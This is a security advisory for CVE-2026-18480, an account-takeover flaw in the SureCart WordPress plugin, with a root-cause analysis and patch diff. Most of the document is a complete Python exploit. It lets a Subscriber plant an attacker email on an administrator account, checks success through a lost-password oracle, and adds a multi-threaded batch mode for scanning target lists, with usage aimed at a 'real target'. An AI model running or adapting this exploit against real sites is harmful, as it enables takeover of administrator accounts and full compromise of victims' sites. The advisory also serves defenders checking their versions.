#Summary

CVE-2026-18480 is a broken access control vulnerability in SureCart (WordPress plugin) versions 4.0.0 through 4.6.2 that allows a low-privileged Subscriber to take over administrator accounts. The customer-update REST endpoint authorises the caller based on a customer ID but applies the email write to a different WordPress user when the same customer ID is linked to multiple accounts. A Subscriber can plant an attacker-controlled email address on an administrator account, then complete account takeover via the standard WordPress password-reset flow. CVSS 8.8 (HIGH) - network-accessible, requiring only basic authentication.

#Am I affected?

#How to check

Check the installed SureCart version:

wp plugin list | grep surecart

If the version is earlier than 4.6.3, the site is vulnerable. Alternatively, read the version from the plugin's main file:

grep "Version:" wp-content/plugins/surecart/surecart.php | head -1

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The REST endpoint /wp-json/surecart/v1/customers/<id> is handled by CustomerController::edit() in SureCart 4.6.2:

public function edit( \WP_REST_Request $request ) {
    $wp_user = User::findByCustomerId( $request['id'] );

    if ( ! empty( $wp_user->ID ) ) {
        wp_update_user(
            [
                'ID'         => $wp_user->ID,
                'user_email' => ! empty( $request['email'] ) ? $request['email'] : $wp_user->user_email,
                'first_name' => ! empty( $request['first_name'] ) ? $request['first_name'] : $wp_user->first_name,
                'last_name'  => ! empty( $request['last_name'] ) ? $request['last_name'] : $wp_user->last_name,
                'phone'      => ! empty( $request['phone'] ) ? $request['phone'] : $wp_user->phone,
            ]
        );
    }

    return parent::edit( $request );
}

The permission check (update_item_permissions_check) authorises the request based on the caller's ownership of the customer ID, but the side effect is applied to whichever WordPress user findByCustomerId() resolves to.

#How input reaches the sink

The vulnerability stems from two independent defects:

  1. Loose permission check: The route's permission callback only verifies that the customer ID in the URL path appears in the caller's own sc_customer_ids user meta. A Subscriber passes this check if they own the customer ID being edited.

  2. Loose user lookup: findByCustomerId() is a fuzzy LIKE query over all WordPress users' sc_customer_ids meta that returns the first match ordered by user_login ascending:

protected function findByCustomerId( $id ) {
    $users = new \WP_User_Query(
        [
            'meta_query' => [
                [
                    'key'     => 'sc_customer_ids',
                    'value'   => $id,
                    'compare' => 'LIKE',
                ],
            ],
        ]
    );
    if ( empty( $users->results ) ) {
        return false;
    }
    $this->user = $users->results[0];   // first match wins
    return $this;
}

If the same customer ID is present on both the Subscriber's account and an administrator's account, and the admin's login sorts earlier alphabetically (e.g., admin < subscriber), the lookup returns the admin as the first match. The Subscriber still passes the permission check (because they own the ID), but the email write lands on the administrator.

The write happens before any SureCart platform call, so the side effect is permanent regardless of whether the backend request succeeds or fails.

#Patch diff

SureCart 4.6.3 fixes the vulnerability by:

  1. Re-authorising after platform acceptance: The sync now runs only after the SureCart platform API confirms the customer update, and re-checks permissions against the customer ID returned by the platform, not the raw request.

  2. Removing email from the sync path: The new applyCustomerToWPUser() method no longer writes user_email at all - it only syncs first_name, last_name, and phone.

 public function edit( \WP_REST_Request $request ) {
-    $wp_user = User::findByCustomerId( $request['id'] );
+    $customer = parent::edit( $request );
 
-    if ( ! empty( $wp_user->ID ) ) {
-        wp_update_user(
-            [
-                'ID'         => $wp_user->ID,
-                'user_email' => ! empty( $request['email'] ) ? $request['email'] : $wp_user->user_email,
-                'first_name' => ! empty( $request['first_name'] ) ? $request['first_name'] : $wp_user->first_name,
-                'last_name'  => ! empty( $request['last_name'] ) ? $request['last_name'] : $wp_user->last_name,
-                'phone'      => ! empty( $request['phone'] ) ? $request['phone'] : $wp_user->phone,
-            ]
-        );
+    if ( is_wp_error( $customer ) || empty( $customer ) ) {
+        return $customer;
     }
 
-    return parent::edit( $request );
+    $this->syncWPUser( $customer );
+
+    return $customer;
 }

#Proof of concept

#exploit.py - SureCart Account Takeover PoC

#!/usr/bin/env python3
"""
CVE-2026-18480 - SureCart (WordPress plugin) customer-update privilege escalation / admin account takeover
Affected: SureCart 4.0.0 up to (not including) 4.6.3
Type: Broken access control / privilege escalation (account takeover)

A customer-update REST endpoint re-authorises the caller against a SureCart customer id
but applies the side effect (an email write) to whatever WordPress user that id happens to
resolve to. A low-privileged user (Subscriber) whose own account shares a customer id with a
privileged account can therefore overwrite the privileged account's login email, then take the
account over through the standard WordPress password-reset flow.

The write happens before any SaaS call, so the HTTP response of the edit itself is NOT a
reliable signal (it returns an upstream error when the site is not connected to SureCart). This
exploit confirms success entirely over the network, with no target-side access, by using the
WordPress lost-password flow as an oracle: a freshly generated, never-seen email address is
probed before the attack (it resolves to no account) and after the attack (it now resolves to
an account), proving the attacker-controlled address was planted on a WordPress user. A second
read of the caller's own profile shows the caller's email was untouched, proving the write
landed on a different account.

Usage:
  python exploit.py --host 127.0.0.1 --port 8480
  python exploit.py --host 127.0.0.1 --port 8480 --auth-user subscriber --auth-pass APPPASSWORD
  python exploit.py --host https://shop.example.com --customer-id cus_xxx --new-email [email protected]
  python exploit.py --list targets.txt --workers 20 --auth-user subscriber --auth-pass APPPASSWORD

Auth: WordPress Application Password for the low-privileged caller, sent as HTTP Basic auth
(--auth-user / --auth-pass).
"""

from __future__ import annotations

import argparse
import secrets
import sys
from urllib.parse import urlparse

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CVE_ID    = "CVE-2026-18480"
VULN_TYPE = "Privilege Escalation / Account Takeover"

REST_EDIT   = "/wp-json/surecart/v1/customers/{cid}"
REST_ME     = "/wp-json/wp/v2/users/me?context=edit"
LOSTPW_PATH = "/wp-login.php?action=lostpassword"

# WordPress lost-password responses. The "no account" string is shown when the submitted
# address matches no user; the account-found path either redirects to checkemail=confirm (mail
# configured) or reports a delivery failure (no MTA). Either account-found outcome is distinct
# from "no account", which is all the oracle needs.
NO_ACCOUNT_MARK = "there is no account with that username or email"
FOUND_MARKS     = ("could not be sent", "check your email", "checkemail=confirm")

TIMEOUT = 20


def header(host: str, port: int) -> None:
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n: int, msg: str) -> None:
    print("[STEP " + str(n) + "] " + msg)


def section(label: str, content: str) -> None:
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


def _base_url(host: str, port: int, use_tls: bool) -> str:
    scheme = "https" if use_tls else "http"
    # host may already be a bare hostname/IP; strip any scheme the caller left on it.
    if host.startswith(("http://", "https://")):
        host = urlparse(host).hostname or host
    default = 443 if use_tls else 80
    netloc = host if port == default else (host + ":" + str(port))
    return scheme + "://" + netloc


def _fresh_email() -> str:
    """A unique, brand-neutral address that cannot pre-exist on any target."""
    tok = secrets.token_hex(6)
    return "svc_" + tok + "@mx-" + secrets.token_hex(3) + ".example"


def _lostpw_state(session: requests.Session, base: str, email: str) -> str:
    """Probe the lost-password oracle for `email`. Returns 'no_account', 'found' or 'unknown'."""
    try:
        r = session.post(
            base + LOSTPW_PATH,
            data={"user_login": email, "wp-submit": "Get New Password", "redirect_to": ""},
            timeout=TIMEOUT,
            verify=False,
            allow_redirects=False,
        )
    except requests.RequestException as exc:
        return "unknown:" + exc.__class__.__name__
    body = (r.text or "").lower()
    loc = r.headers.get("Location", "").lower()
    if NO_ACCOUNT_MARK in body:
        return "no_account"
    if (r.status_code in (301, 302) and "checkemail=confirm" in loc) or any(m in body for m in FOUND_MARKS):
        return "found"
    return "unknown"


def _send_edit(session: requests.Session, base: str, auth, customer_id: str, new_email: str):
    """Fire the malicious customer-update. Returns the response object (or None on transport error)."""
    url = base + REST_EDIT.format(cid=customer_id)
    try:
        return session.post(
            url,
            json={"email": new_email},
            auth=auth,
            headers={"Content-Type": "application/json"},
            timeout=TIMEOUT,
            verify=False,
        )
    except requests.RequestException:
        return None


def _try_exploit(host, port, use_tls, auth_user="subscriber", auth_pass="",
                 customer_id="cus_shared001", new_email=None, path="/", **_):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    base = _base_url(host, port, use_tls)
    email = new_email or _fresh_email()
    auth = (auth_user, auth_pass)
    session = requests.Session()

    before = _lostpw_state(session, base, email)
    if before == "found":
        # A brand-new random address already resolves: oracle cannot distinguish here.
        return False, "oracle unusable (fresh address already resolves)"
    if before.startswith("unknown"):
        return False, "unreachable (" + before.split(":", 1)[-1] + ")"

    resp = _send_edit(session, base, auth, customer_id, email)
    if resp is None:
        return False, "unreachable (edit request transport error)"
    if resp.status_code in (401, 403):
        return False, "blocked (edit returned HTTP " + str(resp.status_code) + ")"

    after = _lostpw_state(session, base, email)
    if after == "found":
        return True, "planted attacker email on a privileged account (lost-password oracle flipped no_account -> found)"
    if after == "no_account":
        return False, "not vulnerable (email not planted; patched sync path)"
    return False, "inconclusive (oracle state '" + after + "' after edit)"


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, **kwargs):
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets)) + " targets, " + str(workers) + " workers)")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
        ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  " + ("[+]" if ok else "[-]") + " " + label + " - " + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  " + str(success_count) + " exploited / " + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, auth_user, auth_pass, customer_id, new_email):
    header(host, port)
    base = _base_url(host, port, use_tls)
    email = new_email or _fresh_email()
    auth = (auth_user, auth_pass)
    session = requests.Session()

    step(1, "Reading caller profile (confirm which account we are authenticated as)")
    caller_email_before = None
    try:
        r = session.get(base + REST_ME, auth=auth, timeout=TIMEOUT, verify=False)
        if r.status_code == 200:
            me = r.json()
            caller_email_before = me.get("email")
            section("CALLER IDENTITY", "id=" + str(me.get("id")) + "  login=" + str(me.get("slug")) +
                    "  roles=" + str(me.get("roles")) + "  email=" + str(caller_email_before))
        elif r.status_code in (401, 403):
            section("AUTH RESPONSE", "HTTP " + str(r.status_code) + " - " + r.text[:300])
            done(False, "authentication failed as '" + auth_user + "' (check --auth-user / --auth-pass application password)")
        else:
            section("CALLER IDENTITY", "HTTP " + str(r.status_code) + " (continuing; identity read is advisory)")
    except requests.RequestException as exc:
        done(False, "target unreachable: " + exc.__class__.__name__)

    step(2, "Baseline oracle: probe lost-password for a fresh address '" + email + "'")
    before = _lostpw_state(session, base, email)
    section("LOST-PASSWORD (before)", "oracle state: " + before +
            "  (expected 'no_account' - the address belongs to nobody yet)")
    if before == "found":
        done(False, "oracle unusable: a never-before-seen address already resolves to an account on this host")
    if before.startswith("unknown"):
        done(False, "lost-password form not reachable / unrecognised response (" + before + ")")

    step(3, "Sending malicious customer-update as '" + auth_user + "' to customer id '" + customer_id + "'")
    resp = _send_edit(session, base, auth, customer_id, email)
    if resp is None:
        done(False, "edit request failed at the transport layer")
    section("EDIT RESPONSE",
            "HTTP " + str(resp.status_code) + "\n" + resp.text[:400] +
            "\n(note: an upstream/SaaS error here is expected and harmless - the local email write "
            "happens before any platform call. Judge on the oracle, not this body.)")
    if resp.status_code in (401, 403):
        done(False, "permission denied (HTTP " + str(resp.status_code) + "): customer id not in caller's own "
             "account, or the body carried a non-whitelisted key. Send only {\"email\": ...}.")

    step(4, "Re-probe oracle: does '" + email + "' now resolve to an account?")
    after = _lostpw_state(session, base, email)
    section("LOST-PASSWORD (after)", "oracle state: " + after +
            "  ('found' means the attacker-controlled address was planted on a WordPress user)")

    step(5, "Confirm the write did NOT land on the caller's own account")
    caller_email_after = None
    try:
        r = session.get(base + REST_ME, auth=auth, timeout=TIMEOUT, verify=False)
        if r.status_code == 200:
            caller_email_after = r.json().get("email")
    except requests.RequestException:
        pass
    section("CALLER EMAIL (unchanged check)",
            "before: " + str(caller_email_before) + "\nafter : " + str(caller_email_after))

    if after == "found" and before == "no_account":
        caller_note = ""
        if caller_email_after is not None and caller_email_after == caller_email_before:
            caller_note = " Caller's own email is unchanged, so the write landed on a different account."
        done(True, "Account takeover confirmed: a '" + auth_user + "'-authenticated request planted "
             "'" + email + "' as the login email of a privileged WordPress account "
             "(lost-password oracle flipped no_account -> found)." + caller_note +
             " Trigger a password reset for that address to complete the takeover.")
    if after == "no_account":
        done(False, "Email was not planted (oracle still 'no_account'): target applies the fixed, "
             "re-authorised sync path - not vulnerable.")
    done(False, "Inconclusive: oracle state '" + after + "' after the edit.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC - SureCart customer-update account takeover")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://shop.example.com)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8480, help="Default port (default: 8480)")
    parser.add_argument("--auth-user", default="subscriber",
                        help="Low-privileged WordPress account login for HTTP Basic auth (default: subscriber)")
    parser.add_argument("--auth-pass", default="oVZGFUjVNkua48xUfx8F5vgC",
                        help="Application Password for --auth-user (default: lab value; supply the target's own)")
    parser.add_argument("--customer-id", default="cus_shared001",
                        help="SureCart customer id present in the caller's own account (default: cus_shared001)")
    parser.add_argument("--new-email", default=None,
                        help="Email to plant on the victim account (default: a fresh random address per run)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             auth_user=args.auth_user, auth_pass=args.auth_pass,
             customer_id=args.customer_id, new_email=args.new_email)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.auth_user, args.auth_pass, args.customer_id, args.new_email)

#Usage

# Single target with default lab credentials
python exploit.py --host 127.0.0.1 --port 8480

# Real target with custom credentials and email
python exploit.py --host https://shop.example.com \
    --auth-user subscriber --auth-pass 'xxxx xxxx xxxx xxxx xxxx xxxx' \
    --customer-id cus_abc123 --new-email [email protected]

# Batch scan multiple targets
python exploit.py --list targets.txt --workers 20 \
    --auth-user subscriber --auth-pass 'xxxx xxxx xxxx xxxx xxxx xxxx' \
    --customer-id cus_abc123

#Expected output on vulnerable target

[STEP 1] Reading caller profile
--- CALLER IDENTITY ---
id=2  login=subscriber  roles=['subscriber']  [email protected]
---

[STEP 2] Baseline oracle: probe lost-password for a fresh address
--- LOST-PASSWORD (before) ---
oracle state: no_account
---

[STEP 3] Sending malicious customer-update
--- EDIT RESPONSE ---
HTTP 500
{"code":"missing_token","message":"Please connect your site to SureCart."}
---

[STEP 4] Re-probe oracle
--- LOST-PASSWORD (after) ---
oracle state: found
---

[STEP 5] Confirm the write did NOT land on the caller's own account
--- CALLER EMAIL (unchanged check) ---
before: [email protected]
after : [email protected]
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Account takeover confirmed: planted email on a privileged WordPress account
============================================================

#Expected output on patched target

[STEP 4] Re-probe oracle
--- LOST-PASSWORD (after) ---
oracle state: no_account
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Email was not planted: target applies the fixed, re-authorised sync path
============================================================

#Exploitation notes

#Preconditions

  1. A low-privileged WordPress user account (Subscriber role) with SureCart access.
  2. A SureCart customer ID that is present in both the attacker's account and a target administrator's account. This state is reachable through SureCart's CustomerLinkService::linkUserWithEmail() during checkout, which associates a customer with any existing WordPress user matching the checkout email.
  3. An HTTP Basic auth credential for the low-privileged account (WordPress Application Password, available since WordPress 5.6).

#Reliability

The exploit is network-observable and deterministic. It does not depend on SureCart platform connectivity - the write happens before any SaaS API call. The lost-password oracle is self-calibrating (uses a fresh, never-seen email address) and works on any WordPress installation regardless of mail configuration, user enumeration settings, or SureCart connectivity state.

#Impact

#Chaining potential

Post-takeover, the attacker gains full site control. This can be chained with other WordPress vulnerabilities or used as a foothold for supply-chain attacks against WordPress extensions, themes, or plugin repositories if the compromised account has publisher or maintainer permissions.

#References